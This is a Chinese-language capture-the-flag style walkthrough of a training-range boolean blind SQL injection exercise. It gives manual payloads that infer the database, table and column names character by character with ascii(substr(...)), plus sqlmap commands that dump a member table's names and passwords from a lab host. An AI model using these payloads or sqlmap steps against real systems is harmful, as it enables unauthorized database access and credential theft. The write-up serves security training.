靶场练习-墨者学院-sql注入漏洞测试(布尔盲注)


背景知识

substr函数介绍

string substring(string, start, length)

string substr(string, start, length)

第一个参数为要处理的字符串,start为开始位置,length为截取的长度。

asccii函数介绍

ascii('A')=65

sqlmap基本操作思路

sqlmap -u 注入点url --current-db

sqlmap -u 注入点url -D 获取到的数据名 --tables 

sqlmap -u 注入点url -D 获取到的数据库名 -T 获取到的表名 --columns

sqlmap -u 注入点url -D 获取到的数据库名 -T 获取到的表名 -C 要获取值指定列 --dump

Mysql的数据结构

mysql中有一个information_schema数据库,用于维护mysql中的其他数据库信息。

其中的tables表的TABLE_SCHEMA字段为库名,TABLE_NAME字段为表名;

columns表的TABLE_SCHEMA字段为所属的数据库,TABLE_NAME字段为表名,COLUMN_NAME字段为列名。 

手工注入方法。

是否存在过滤,是否可绕过。

是否可通过页面变化或者时间变化,判断是否存在注入点。

判断注入类型,字符型还是数字型,字符型需要构造闭合。

通过order by 判断列数。

若可回显

  在找到注入点,判断出union 可用的字段后,判断出所用的数据库名字和用户名字,然后再information_schema中查看对应的数据库(table_schema)有哪几个表(table_name),然后在columns查看对应的表有哪些字段。

若不可回显

       通过构造正确的表达式,根据页面是否正常显示来判断数据库名、表名、字段名、字段值

md5加解密

手工思路

1.判断是否存在注入

http://219.153.49.228:48658/new_list.php?id=1'

 

 

 http://219.153.49.228:48658/new_list.php?id=1 and 1=1

 

 

 

 

 2.判断列数、位置、数据库名。无回显。

http://219.153.49.228:48658/new_list.php?id=1 order by 4

 

 

 http://219.153.49.228:48658/new_list.php?id= union select 1,2,3,4

 

 

 

 3.根据执行语句的正确与否决定页面是否发生变化,判断相应的数据库名、表名、字段名、值。

  • ascii(substr((select database()),1,1))判断出数据库的名字
  • ascii(substr((select table_name from information_schema.tables where table_schema='获取到的数据库名字' limit 1,1),1,1)) 判断出表名
  • ascii(substr((select column_name from information_schema.columns where table_name='获取到的表名' and table_schema='获取到的数据库名' limit 0,1),1,1)) 判断出列名
  • and ascii(substr((select concat(name) from stormgroup.member limit 1,1),1,1)) 

http://219.153.49.228:48658/new_list.php?id=1%20and%20ascii(substr((select%20database()),1,1))<115

 

 

 

 http://219.153.49.228:48658/new_list.php?id=1%20and%20ascii(substr((select%20database()),1,1))>115

 

 

 

http://219.153.49.228:48658/new_list.php?id=1%20and%20ascii(substr((select%20database()),1,1))=115

 

 

sqlmap思路

1.python2 sqlmap.py "http://219.153.49.228:48658/new_list.php?id=1" --current-db

 

 

 2.python2 sqlmap.py "http://219.153.49.228:48658/new_list.php?id=1" -D stormgroup --tables

 

 

 3.python2 sqlmap.py "http://219.153.49.228:48658/new_list.php?id=1" -D stormgroup -T member --columns

 

 

 4.python2 sqlmap.py "http://219.153.49.228:48658/new_list.php?id=1" -D stormgroup -T member -C name,password --dump

 

 

 

 

 


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM